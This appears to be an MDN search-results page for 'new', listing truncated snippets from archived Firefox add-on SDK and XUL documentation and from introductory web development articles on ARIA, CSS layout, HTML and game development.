new string() will always return false. let { isstring } = require('sdk/lang/type'); isstring('my string'); // true isstring(100); // false isstring('100'); // true parameters value : mixed the variable to check. returns boolean : boolean indicating if value is a string. isnumber(value) returns true if value is a number, false otherwise. uses typeof operator to check type, and will only prope...
...sdk/lang/type'); isstring('my string'); // true isstring(100); // false isstring('100'); // true parameters value : mixed the variable to check. returns boolean : boolean indicating if value is a string. isnumber(value) returns true if value is a number, false otherwise. uses typeof operator to check type, and will only properly detect number primitives: for example, a number created with
new number() will always return false. let { isnumber } = require('sdk/lang/type'); isnumber(3.1415); // true isnumber(100); // true isnumber('100'); // false parameters value : mixed the variable to check. returns boolean : boolean indicating if value is a number. isregexp(value) returns true if value is a regexp, false otherwise. let { isregexp } = require('sdk/lang/type'); isregexp(/[^\...
...false. let { isnumber } = require('sdk/lang/type'); isnumber(3.1415); // true isnumber(100); // true isnumber('100'); // false parameters value : mixed the variable to check. returns boolean : boolean indicating if value is a number. isregexp(value) returns true if value is a regexp, false otherwise. let { isregexp } = require('sdk/lang/type'); isregexp(/[^\.]*\.js$/); // true isregexp(
new regexp('substring')); // true isregexp(1000); // false parameters value : mixed the variable to check. returns boolean : boolean indicating if value is a regexp. isdate(value) returns true if value is a date, false otherwise. let { isdate } = require('sdk/lang/type'); isdate(
new date()); // true isdate('3/1/2013'); // false parameters value : mixed the variable to check. returns boo...
...And 3 more matches
test/assert - Archive of obsolete content
he instructions in the unit testing tutorial. each test will be passed an assert object when you run the tests using jpm test. you can use this object to make assertions about your program's state. for example: var a = 1; exports["test value of a"] = function(assert) { assert.ok(a == 1, "test that a is 1"); } require("sdk/test").run(exports); globals constructors assert(logger) create a
new assert object. this function is only called by the unit test framework, and not by unit tests themselves. parameters logger : object object used to log the results of assertions. assert an object used to make assertions about a program's state in order to implement unit tests. the assert object's interface is defined by the commonjs unit testing specification, version 1.1. methods ok(guar...
...returned by that function. ...
... suppose we define two different custom exceptions: function myerror(message) { this.name = "myerror"; this.message = message || "default message"; } myerror.prototype =
new error(); myerror.prototype.constructor = myerror; function anothererror(message) { this.name = "anothererror"; this.message = message || "default message"; console.log(this.message); } anothererror.prototype =
new error(); anothererror.prototype.constructor = anothererror; we can check the type of exception by passing a function as the error argument: exports["test exception type 1 expected to pass"] = function(assert) { assert.throws(function() { throw
new myerror("custom message"); }, myerror, "test throwing a specific exception"); } exports["test exception type 2 expected to fail"] = func...
...And 3 more matches
cfx - Archive of obsolete content
dd-on. cfx run launch an instance of firefox with your add-on installed. cfx test runs your add-on's unit tests. cfx xpi package your add-on as an xpi file, which is the install file format for firefox add-ons. there are also a number of internal commands, which are more likely to be useful to sdk developers than to add-on developers. cfx init create a
new directory called "my-addon", change into it, and run cfx init. this command will create an skeleton add-on, as a starting point for your own add-on development, with the following file structure: my-addon data docs main.md lib main.js package.json readme.md tests test-main.js cfx run this command is used ...
...kgdir option, and pass arguments to your add-on using the --static-args option. you can specify a different version of the host application using the --binary option, passing in the path to the application binary to run. the path may be specified as a full path or may be relative to the current directory. but note that the version must be 4.0b7 or later. cfx run runs the host application with a
new profile. you can specify an existing profile using the --profiledir option, and this gives you access to that profile's history, bookmarks, and other add-ons. this enables you to run your add-on alongside debuggers like firebug. see "using --profiledir" for more information. -b binary, --binary=binary use the host application binary specified in binary. binary may be specified as a ...
...its own copies of the sdk modules. use this flag to reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox. this flag is particularly useful for sdk developers or people working with the development version of the sdk, who may want to run an add-on using
newer versions of the modules than than those shipping in firefox. --templatedir=templatedir the cfx run command constructs the add-on using a extension template which you can find under the sdk root, in app-extension. use the --templatedir option to specify a different template. templatedir may be specified as a full path or as a path relative to the current directory. interna...
...And 3 more matches
Displaying annotations - Archive of obsolete content
this function: initializes the content script instance with the current set of annotations provides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later. then in the module's scope...
...tion: initializes the content script instance with the current set of annotations provides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later. ...
...ntent script instance with the current set of annotations provides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later. ...
...And 3 more matches
Canvas code snippets - Archive of obsolete content
, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; } chaining methods this class provides jquery-style chained access to 2d context methods and properties. ...
...cusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might instead be wrapped to be able to chain their child objects 'createimagedata', 'createlineargradient', 'createradialgradient', 'getimagedata', 'putimagedata' ]; var props = ['canvas', 'fillstyle', 'font', 'globalalpha', 'globalcompositeoperation', 'linecap', 'linejoin', 'li
newidth', 'miterlimit', 'shadowoffsetx', 'shadowoffsety', 'shadowblur', 'shadowcolor', 'strokestyle', 'textalign', 'textbaseline']; for (let m of methods) { let method = m; canvas2dcontext.prototype[method] = function() { this.ctx[method].apply(this.ctx, arguments); return this; }; } for (let m of gettermethods) { let method = m; canvas2dcontext.prototype[m...
...eged apps. saving a canvas image to a file the following function accepts a canvas object and a destination file path string. the canvas is converted to a png file and saved to the specified location. the function returns a promise which resolves when the file has been completely saved. ...
...And 3 more matches
Windows - Archive of obsolete content
this article offers code snippets demonstrating common tasks you may wish to perform. opening
new browser windows to open a
new browser window, you can simply use window.open(). however, window.open() returns a window object for content, not for the browser window itself, so you should get the chrome window first. the simplest way to do that is to use nsiwindowmediator. ...
...the chrome window first. the simplest way to do that is to use nsiwindowmediator. example window.open(); //this open a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var
newwindow = wm.getmostrecentwindow("navigator:browser"); var b =
newwindow.gbrowser; the code generate a typeerror from firefox console. in particular the components.classes is undefined and the components object is deprecated. it will soon be removed. draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove events. the followin...
...owing code does not care which element is clicked on, simply responding to all mousedown events equally. you could improve this code by checking the event.target element and only setting the startpos if the element matches some criteria. ...
...And 3 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
m the copyright holder. how software licenses work in order to duplicate, distribute, or modify software, you need a use permit. duplicating software would be burning cd-rs or downloading from the internet (copying from server to client). distributing software would be selling that cd-r or publishing the software on the internet. modifying software would be changing its functionality or adding
new functions. duplication: copying a piece of software distribution: passing a piece of software to another person modification: modifying the software a typical software license will grant these permissions in return for a fee, and will still restrict some normally unrestricted uses. the software that microsoft sells, such as windows, comes with a license that permits only limited duplication i...
...en redistribute it themselves, so unless you provide some added value, you’ll have a hard time building a business. scope of modifications in the open-source world, “copyleft” is when you require that any modifications to your source code must also be released under the same terms. the following tasks can be considered modifications revision: rewriting the source code; addition: adding
new code, or adding parts of it to other code; linkage: creating static or dynamic links. depending on what kind of modifications you envision, you can choose your license as follows. table: what tasks are considered modifications? license revision addition static link dynamic link gpl y y y y lgpl y y y n mpl y y n ...
...istributed, it need not be released. copyleft is not required a common misconception regarding open source is that any modification made to open-source code must also be released as open source. this condition only applies under some open-source licenses (such as the gpl). this condition, which is commonly referred to as “copyleft,” mandates that any modification to the source code, or any
new code combined with the source code, must be released under the same kind of license. if copyleft is not one of the conditions (as is the case with the modified bsd license), the modified program can be released under a different license, and can even be sold without any open-source license at all. dual licensing some open-source software uses “dual licensing.” in this situation, the softwa...
...And 3 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
d calc.js. listing 1: calc.js (stage 1) function rpncalc() { } rpncalc.prototype = { init: function() { }, push: function(val) { }, plus: function() { }, pop: function() { } } implement the addition operation create test case begin by creating the test case. first, select the menu item tools:mozlab:open mozunit runner to bring up the mozunit window. select the menu item file:
new, and save test_calc.js in the same directory as the file that is the test target. next, click the edit button to set up the “2 1+” test case (listing 2). note that in this file, the method names serve as the test names. in junit and similar packages, methods containing tests that start with testhoge are recognized as tests. mozunit uses the same kind of notation, but you can also make the st...
...s. in junit and similar packages, methods containing tests that start with testhoge are recognized as tests. mozunit uses the same kind of notation, but you can also make the string the method name, making the test self-documenting. pretty clever. ...
...ining tests that start with testhoge are recognized as tests. mozunit uses the same kind of notation, but you can also make the string the method name, making the test self-documenting. pretty clever. ...
...And 3 more matches
Appendix D: Loading Scripts - Archive of obsolete content
hese objects are directly exposed to privileged code. this behavior can be reversed by setting the wantsxrays parameter to false when constructing the sandbox. disadvantages performance: there are several significant performance disadvantages inherent in this method: there is currently no way to load code into sandboxes from a cache. this means that code must be compiled and executed a
new each time it is loaded, which has a significant overhead for large code bases. in addition to compile time, reading files synchronously from disk has its own overhead, and xmlhttprequests have significantly more overhead than native loading methods. although wary authors can choose to cache instances of their modules so that modules are loaded only once globally, this method can be easily m...
...a significant overhead for large code bases. in addition to compile time, reading files synchronously from disk has its own overhead, and xmlhttprequests have significantly more overhead than native loading methods. although wary authors can choose to cache instances of their modules so that modules are loaded only once globally, this method can be easily misused to re-load scripts for each
new window where they would be better loaded only once globally per session. because sandbox objects are evaluated in their own javascript compartment, they are separated by a membrane from other javascript code. this means that any and all javascript objects passed in our out of them are wrapped in inter-compartment proxy objects, which consume additional memory and add an extra layer of complexi...
... "zz-9://plural/zed/alpha", // the apparent script starting line number: 42); the following code will execute a simple script loaded from a local file in the same directory as the current script. the script will execute in the same security context as the current script and will have access to the same globals, but any
new globals it creates will be accessible only to the script itself. objects passed out of the sandbox will not be wrapped in xpcnativewrappers but will still be wrapped in inter-compartment proxies. const xmlhttprequest = components.constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsixmlhttprequest", ...
...And 3 more matches
Setting up an extension development environment - Archive of obsolete content
this article provides suggestions for how to set up your mozilla application for extension development. these details apply to firefox, thunderbird, and seamonkey (version 2.0 and above). overview you'll create a
new user profile to run your development specific firefox session. this will utilize distinctive development preferences in about:config. install firefox development extensions specifically for this
new developer user profile. edit files in the extensions folder of this profile, and restart the application as this
new developer profile. development profile the use of a separate user profile for development can be advantageous, averting performance degradation from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings)...
...ath/to/firefox -no-remote -p profilename without these parameters, the default behavior of your mozilla applications is to only open the everyday user profile: named default. as we are specifically defining the user profile dev, if you don't have the dev profile already created, the profile selection window opens, where you can create it. ...
...n window opens, where you can create it. in the following example, the described command starts a
new instance of firefox, with a profile called dev; even if an instance of firefox is already running. ...
...And 3 more matches
Adding preferences to an extension - Archive of obsolete content
look at preferences system and the preferences api. download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. get the code here: download the sample update the manifests the install manifest and chrome manifest need to be updated. by and large, the changes are simply changing the id of the extension. however, we do need to add one
new line to the install.rdf file: <em:optionsurl>chrome://stockwatcher2/content/options.xul</em:optionsurl> this line establishes the url of the xul file that describes the options dialog. please note that if you are using code from this tutorial to add to an existing extension, you must uninstall and reinstall your extension to enable the preferences button for your extension in the add-ons li...
...his line establishes the url of the xul file that describes the options dialog. please note that if you are using code from this tutorial to add to an existing extension, you must uninstall and reinstall your extension to enable the preferences button for your extension in the add-ons list. establish the defaults in order to set a default preference for the stock to monitor, we need to add a
new folder to our extension's package, called "defaults", which in turn contains another folder called "preferences". inside that, we create a file, defaults.js, that describes the default value of our preferences: pref("extensions.stockwatcher2.symbol", "goog"); the standard for third-party preferences, such as those used in extensions, is to use the string "extensions", a period, the name of th...
...ed. in our example, we only have one preference, but you can monitor as many preferences as you wish here. if the changed preference is "symbol", we grab the updated value of the preference by calling the nsiprefbranch.getcharpref() method, and stash it in our tickersymbol variable. ...
...And 3 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
a 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a
new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application liferea
news aggregator switched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-b...
...rtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last
news item on site from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compuserve client internet software no longer available doczilla sgml/xml/html browser last release on site from july 2005 fabula language learning application inactive ...
... chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compuserve client internet software no longer available doczilla sgml/xml/html browser last release on site from july 2005 fabula language learning application inactive galeon browser last
news item on site from september 2006 gencatrss rss reader domain switched over to domain parking service ghostzilla browser archived version of ghostzilla site from 2005 homebase desktop operating environment for internet computers no longer available hp printer assistant printer utility hall of fame page mentions that this used an embedded...
...And 3 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
this section describes how to use the javascript wrapper for drag and drop. the javascript drag and drop wrapper the javascript wrapper to drag and drop simplifies the process by handling all of the xpcom interfaces for you. it works by providing an object which implements the event handlers. all you have to do is write some simpler functions which work with the data being dragged. this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js. you can include this file in your xul file with the script tag in the same way you would include your own scripts. ...
... item being dragged. to do this, add data and flavours to the transferdata object, which is the second argument to ondragstart. an example should help here. the ondragstart function adds data to the transferdata object. var textobserver = { ondragstart: function (event, transferdata, action) { var htmltext = "<strong>cabbage</strong>"; var plaintext = "cabbage"; transferdata.data =
new transferdata(); transferdata.data.adddataforflavour("text/html",htmltext); transferdata.data.adddataforflavour("text/unicode",plaintext); } } here, an observer has been declared and stored in the variable textobserver. it has one property called ondragstart. (in javascript, properties can be declared with the syntax name : value). this property is a function which sets the data that is...
... the weakest match. in this case above, the html flavour (text/html) comes first and then the text flavour (text/unicode). the example below shows how to set the data to be dragged from the element's label attribute. in this case we only provide the data in one flavour. var textobserver = { ondragstart: function (event) { var txt = event.target.getattribute("label"); transferdata.data =
new transferdata(); transferdata.data.adddataforflavour("text/unicode",txt); } } this might be useful when implementing drag and drop for cells in a tree. you can use the value of a cell, or some resource from an rdf file if the tree is built from a template, as the value of a drag. if you store it as a string, any object that accepts strings dragged onto it can grab the dragged data. if you w...
...And 3 more matches
Mozilla Web Developer Community - Archive of obsolete content
get
news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development. ...
... get
news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development. ...
...in cross-browser, standards-based web development. ...
...And 3 more matches
Building accessible custom components in XUL - Archive of obsolete content
developers have been doing this for some time, but the resulting controls were never as accessible as similar controls in desktop applications. assistive technologies could only see the generic html markup used to build the control; they had no way of knowing that a particular collection of div and span elements should be treated as a single cohesive control (such as a tab bar or a treeview). by implementing dhtml accessibility techniques, web developers can declare that generic html elements are really acting as specific gui controls (such as a treeitem within a treeview). ...
...n> so, before we do anything else, we need to tell assistive technologies that all of these unrelated elements are actually related. this is where dhtml accessibility comes in. further reading grid element reference description element reference label element reference grid tutorial label tutorial adding roles with dhtml accessibility download stage-2.zip install stage-2.xpi using the
new dhtml accessibility techniques in firefox 1.5, we can declare the role of each element in our spreadsheet. the grid element is really a spreadsheet. each label element is really a cell within the spreadsheet. each description element is really a row or column header within the spreadsheet. you can find a list of all the supported roles in firefox 1.5 on mozilla.org. role declarations are a litt...
... need to register the spreadsheet_keypress event handler. <code> function install_handlers() { var spreadsheet = window.document.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('keypress', spreadsheet_keypress, true); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('click', spreadsheet_click, true); } </code> with this
new event handler and associated helper functions, we can navigate between cells and headers using the arrow keys. inspect32 confirms that assistive technologies track the focus as we navigate within the spreadsheet. <caption>focus is tracked properly during keyboard navigation</caption> further reading document object model events adding editing capabilities download stage-5.zip install ...
...And 3 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
es on disk. nsifile.copyto() is used to copy a file, while nsifile.moveto() is used to move files. nsifile.remove() may be used to delete a file. copying a file nsifile.copyto() is used to copy files or directories, and should be called on the source file to copy. ...
...hile nsifile.moveto() is used to move files. nsifile.remove() may be used to delete a file. copying a file nsifile.copyto() is used to copy files or directories, and should be called on the source file to copy. this method takes two arguments, the first is the destination directory in which to copy the file to, and the second argument is the
new name of the file, if you wish to rename it in its
new location. if you do not want to rename the file, and use the same name as the source file, use a null string for the second argument. var file = io.
newfile("home", "source.txt"); var destination = io.
newfile("desktop", ""); file.copyto(destination, "destination.txt"); this example copies a file called 'source.txt' within the user's home directory to the desktop. in addition, the file is rename...
...rally, the destination must be a directory or an error will occur. in this case, we assume that 'source.txt' is a file. if the item to copy is a directory, it can be copied in the same manner as above without changes. this allows an entire directory and its contents to be copied from one location to another. you might use this to make a backup of a directory of files for instance. var file = io.
newfile("home", "importantdata"); var destination = io.
newfile("desktop", ""); destination.append("backups"); file.copyto(destination, ""); this example copies an item called 'importantdata' into a directory called 'backups' within the desktop directory. nsifile.append() is used to retrieve the 'backups' subdirectory. this method is used to navigate into subdirectories. for more information about n...
...And 3 more matches
Extensions - Archive of obsolete content
this can be done by overlaying the popup to append the item to. ...
...this can be done by overlaying the popup to append the item to. ...
...tion menubar, you will need to overlay this menubar. for instance: <menubar id="main-menubar"> <menu label="search" insertbefore="tools-menu"> <menupopup> <menuitem label="web"/> <menuitem label="mail"/> </menupopup> </menu> </menubar> this menu is added to the main menu bar just before the tools menu. the insertbefore attribute is set to 'tools-menu' to ensure that the
new menu is added at the right place. note that the menu will not appear until it has a <menupopup>. adding a
new menuitem you might wish to add a
new item to one of the menus. this can be done by overlaying the popup to append the item to. for a list of the ids of the menus for firefox, see firefox menus. for example, to add an item to the end of the tools menu, use the following: <menupopup id="...
...And 3 more matches
Extentsions FAQ - Archive of obsolete content
st drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages. ...
...//webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages. use wm_copydata how to creating an extension that can replace html code on a specific page that does not use greasemonkey? var
newnode = document.createelement(" ... html content here ... ...
...ay of the folder contents, and all of the right-click context menu support is present so it should meet my needs. what is the valid location and things needed to to release a mozilla extension on mozallia site? you must remove updateurl from the install.rdf and use a known to amo minversion/maxversion. no confirmation that the answer given worked yet. is it possible to open the url in a
new tab? var tab = gbrowser.addtab( url ); // and if you want it to load in the foreground: gbrowser.selectedtab = tab; is it possible to read the html-code of the current url/site? yes, this is possible. use the dom api (http://www.w3schools.com/dom/default.asp has a good tutorial). not the best answer but a good starting point for the question asker to do some research towards the answer. ...
...And 3 more matches
Using workers in extensions - Archive of obsolete content
rker.js, is shown here: var symbol = ""; function refreshinformation() { if (!symbol) { throw "no symbol set!"; } var fullurl = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest =
new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(event) { if (event.data) { symbol = event.data.touppercase(); } refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is execu...
... var self = this; this.worker.onmessage = function(event) { self.onworkermessage.call(self, event); }; this.worker.postmessage(this.tickersymbol); }, the worker is set up and configured here in li...
...nt/ticker_worker.js"); // small little dance to get 'this' to refer to stockwatcher, not the // worker, when a message is received. var self = this; this.worker.onmessage = function(event) { self.onworkermessage.call(self, event); }; this.worker.postmessage(this.tickersymbol); }, the worker is set up and configured here in lines 13-22: line 13 instantiates a
new worker, specifying the uri of the ticker_worker.js file. lines 17-20 change the definition of the worker's onmessage handler so that when the worker calls back to the main thread, the main thread's value of this is correctly the main thread's object instead of the worker's. line 22 sends a message to the ticker thread to tell it what symbol to monitor. the observe() method this method's job ...
...And 3 more matches
ECMAScript 2015 support in Mozilla - Archive of obsolete content
ions to the array object array iteration with for...of (firefox 13) array.from() (firefox 32) array.of() (firefox 25) array.prototype.fill() (firefox 31) array.prototype.find(), array.prototype.findindex() (firefox 25) array.prototype.entries(), array.prototype.keys() (firefox 28), array.prototype.values() array.prototype.copywithin() (firefox 32) get array[@@species] (firefox 48)
new map and set objects, and their weak counterparts map (firefox 13) map iteration with for...of (firefox 17) map.prototype.foreach() (firefox 25) map.prototype.entries() (firefox 20) map.prototype.keys() (firefox 20) map.prototype.values() constructor argument:
new map(null) (firefox 37) monkey-patched set() in constructor (firefox 37) get map[@@species] (firefox 41) ...
...x 20) map.prototype.values() constructor argument:
new map(null) (firefox 37) monkey-patched set() in constructor (firefox 37) get map[@@species] (firefox 41) set (firefox 13) set iteration with for...of (firefox 17) set.prototype.foreach() (firefox 25) set.prototype.entries(), set.prototype.keys(), set.prototype.values() (firefox 24) constructor argument:
new set(null) (firefox 37) monkey-patched add() in constructor (firefox 37) get set[@@species] (firefox 41) weakmap (firefox 6) weakmap.clear() (firefox 20) optional iterable argument in weakmap constructor (firefox 36) constructor argument:
new weakmap(null) (firefox 37) monkey-patched set() in constructor (firefox 37) weakset (firefox 34) constructor argument:...
...set(null) (firefox 37) monkey-patched add() in constructor (firefox 37) get set[@@species] (firefox 41) weakmap (firefox 6) weakmap.clear() (firefox 20) optional iterable argument in weakmap constructor (firefox 36) constructor argument:
new weakmap(null) (firefox 37) monkey-patched set() in constructor (firefox 37) weakset (firefox 34) constructor argument:
new weakset(null) (firefox 37) monkey-patched add() in constructor (firefox 37)
new math functions math.imul() (firefox 20) math.clz32() (firefox 31) math.fround() (firefox 26) math.log10(), math.log2(), math.log1p(), math.expm1(), math.cosh(), math.sinh(), math.tanh(), math.acosh(), math.asinh(), math.atanh(), math.hypot(), math.trunc(), math.sign(), math.cbrt() (firefox 25) additi...
...And 3 more matches
Game promotion - Game development
developing and publishing your game is not enough. you have to let the world know that you have something interesting available that people will enjoy playing. there are many ways to promote your game — most of them being free, so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great
new game. promoting the game helps a lot when monetizing it later on too, so it's important to do it correctly. competitions taking part in competitions will not only level up your gamedev skills and let you meet
new devs to befriend and learn from — and it will also get you involved in the community. if you make a good game for a competition and win some prizes in the process your game will automatically be promoted by the or...
...e in conversations, help other devs in need. honesty is key and you should be authentic, because nobody likes boring press releases or pushy advertisements. when the time comes your community will help you spread the word about your shiny little game. you should use at least twitter and facebook and be active on appropriate forums — the most popular one is html5gamedevs.com. share your gamedev
news and answer questions, so people will value what you're doing and will know that you're ok. remember to not be too pushy on telling everyone about your games — you're not a walking advertisement. grow your fanbase by talking to them, sharing tips, offering discounts, giving away prizes in competitions, or just complaining at the weather or buggy browser you have to deal with. act cool, be gene...
...bly learned a thing or two from online articles, so you take the time to pay that knowledge forward. talking or writing about something you achieved or problems you overcame is something people would be interested it. and you can use your own game as an example, especially in a tutorial when you're showing how to do something you've implemented already. that way everyone benefits — people learn
new skills, your game gets promoted, and if you're lucky you can even get paid for writing a tutorial if it's good enough. there are portals like tuts+ game development which will be more than happy if you write for them - they pay for the content, but not all topic ideas will be accepted. when writing a tutorial remember to focus on delivering something valuable to the reader. they want to learn so...
...And 3 more matches
Implementing controls using the Gamepad API - Game development
en. it will launch the game in the super turbo mode and you'll be able to control the fridge with the keyboard: a and d for turning the turret left and right, w for shooting and arrow keys for movement. implementation there are two important events to use along with the gamepad api — gamepadconnected and gamepaddisconnected. ...
...es. detecting button presses the buttonpressed() method is also placed in the main game loop to listen for button presses. it takes two parameters — the button we want to listen to and the (optional) way to tell the game that holding the button is accepted. without it you'd have to release the button and press it again to have the desired effect. ...
.... without it you'd have to release the button and press it again to have the desired effect. buttonpressed: function(button, hold) { var
newpress = false; // loop through pressed buttons for(var i=0,s=gamepadapi.buttonsstatus.length; i<s; i++) { // if we found the button we're looking for... ...
...And 3 more matches
WAI-ARIA basics - Learn web development
asic computer literacy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course. objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required. what is wai-aria? let's start by looking at what wai-aria is, and what it can do for us. a whole
new set of problems as web apps started to get more complex and dynamic, a
new set of accessibility features and problems started to appear. for example, html5 introduced a number of semantic elements to define common page features (<nav>, <footer>, etc.) before these were available, developers would simply use <div>s with ids or classes, e.g. <div class="nav">, but these were problematic, as there...
... let's look at a quick example — see aria-no-live.html (also see it running live). in this example we have a simple random quote box: <section> <h1>random quote</h1> <blockquote> <p></p> </blockquote> </section> our javascript loads a json file via xmlhttprequest containing a series of random quotes and their authors. once that is done, we start up a setinterval() loop that loads a
new random quote into the quote box every 10 seconds: let intervalid = window.setinterval(showquote, 10000); this works ok, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on. this is a fairly trivial example, but just imagine if you were creating a complex ui with lots of constantly updating content, like a c...
...ll end up having to write code that either uses non-semantic elements as buttons (or other types of control), or uses focusable controls for not quite the right purpose. you might be trying to fix some bad code you've inherited, or you might be building some kind of complex widget that requires it. in terms of making non-focusable code focusable, wai-aria extends the tabindex attribute with some
new values: tabindex="0" — as indicated above, this value allows elements that are not normally tabbable to become tabbable. this is the most useful value of tabindex. tabindex="-1" — this allows not normally tabbable elements to receive focus programmatically, e.g. via javascript, or as the target of links. we discussed this in more detail and showed a typical implementation back in our h...
...And 3 more matches
The box model - Learn web development
del, what makes up the box model and how to switch to the alternate model. block and inline boxes in css we broadly have two types of boxes — block boxes and inline boxes. these characteristics refer to how the box behaves in terms of page flow, and in relation to other boxes on the page: if a box is defined as a block, it will behave in the following ways: the box will break onto a
new line. the box will extend in the inline direction to fill the space available in its container. in most cases this means that the box will become as wide as its container, filling up 100% of the space available. the width and height properties are respected. padding, margin and border will cause other elements to be pushed away from the box unless we decide to change the display type to inli...
...of the space available. the width and height properties are respected. padding, margin and border will cause other elements to be pushed away from the box unless we decide to change the display type to inline, elements such as headings (e.g. <h1>) and <p> all use block as their outer display type by default. if a box has an outer display type of inline, then: the box will not break onto a
new line. the width and height properties will not apply. vertical padding, margins, and borders will apply but will not cause other inline boxes to move away from the box. horizontal padding, margins, and borders will apply and will cause other inline boxes to move away from the box. the <a> element, used for links, <span>, <em> and <strong> are all examples of elements that will display inline...
... flow, because without any other instruction, our boxes lay out as block or inline boxes. examples of different display types let's move on and have a look at some examples. below we have three different html elements, all of which have an outer display type of block. the first is a paragraph, which has a border added in css. the browser renders this as a block box, so the paragraph begins on a
new line, and expands to the full width available to it. the second is a list, which is laid out using display: flex. this establishes flex layout for the items inside the container, however, the list itself is a block box and — like the paragraph — expands to the full container width and breaks onto a
new line. below this, we have a block-level paragraph, inside which are two <span> elements. ...
...And 3 more matches
Legacy layout methods - Learn web development
t systems used prior to css grid layout being available in browsers. layout and grid systems before css grid layout it may seem surprising to anyone coming from a design background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs. we now refer to these as "legacy" methods. for
new projects, in most cases css grid layout will be used in combination with one or more other modern layout methods to form the basis for any layout. you will however encounter "grid systems" using these legacy methods from time to time. it is worth understanding how they work, and why they are different to css grid layout. this lesson will explain how grid systems and grid frameworks based on floa...
...rom time to time. it is worth understanding how they work, and why they are different to css grid layout. this lesson will explain how grid systems and grid frameworks based on floats and flexbox work. having studied grid layout you will probably be surprised how complicated this all seems! this knowledge will be helpful to you if you need to create fallback code for browsers that do not support
newer methods, in addition to allowing you to work on existing projects which use these types of systems. it is worth bearing in mind, as we explore these systems, that none of them actually create a grid in the way that css grid layout creates a grid. they work by giving items a size, and pushing them around to line them up in a way that looks like a grid. a two column layout let's start with the...
...pes of systems. it is worth bearing in mind, as we explore these systems, that none of them actually create a grid in the way that css grid layout creates a grid. they work by giving items a size, and pushing them around to line them up in a way that looks like a grid. a two column layout let's start with the simplest possible example — a two column layout. you can follow along by creating a
new index.html file on your computer, filling it with a simple html template, and inserting the below code into it at the appropriate places. at the bottom of the section you can see a live example of what the final code should look like. first of all, we need some content to put into our columns. replace whatever is inside the body currently with the following: <h1>2 column layout example</h1> <di...
...And 3 more matches
Getting started with HTML - Learn web development
ide or outside one another. with the kind of overlap in the example above, the browser has to guess at your intent. this kind of guessing can result in unexpected results. block versus inline elements there are two important categories of elements to know in html: block-level elements and inline elements. block-level elements form a visible block on a page. a block-level element appears on a
new line following the content that precedes it. any content that follows a block-level element also appears on a
new line. block-level elements are usually structural elements on the page. for example, a block-level element might represent headings, paragraphs, lists, navigation menus, or footers. a block-level element wouldn't be nested inside an inline element, but it might be nested inside anothe...
...ht represent headings, paragraphs, lists, navigation menus, or footers. a block-level element wouldn't be nested inside an inline element, but it might be nested inside another block-level element. inline elements are contained within block-level elements, and surround only small parts of the document’s content. (not entire paragraphs or groupings of content) an inline element will not cause a
new line to appear in the document. it is typically used with text. for example, as an <a> element (hyperlink) or emphasis elements such as <em> or <strong>. consider the following example: <em>first</em><em>second</em><em>third</em> <p>fourth</p><p>fifth</p><p>sixth</p> <em> is an inline element. as you see below, the first three elements sit on the same line, with no space in between. on the ...
...xample, as an <a> element (hyperlink) or emphasis elements such as <em> or <strong>. consider the following example: <em>first</em><em>second</em><em>third</em> <p>fourth</p><p>fifth</p><p>sixth</p> <em> is an inline element. as you see below, the first three elements sit on the same line, with no space in between. on the other hand, <p> is a block-level element. each p element appears on a
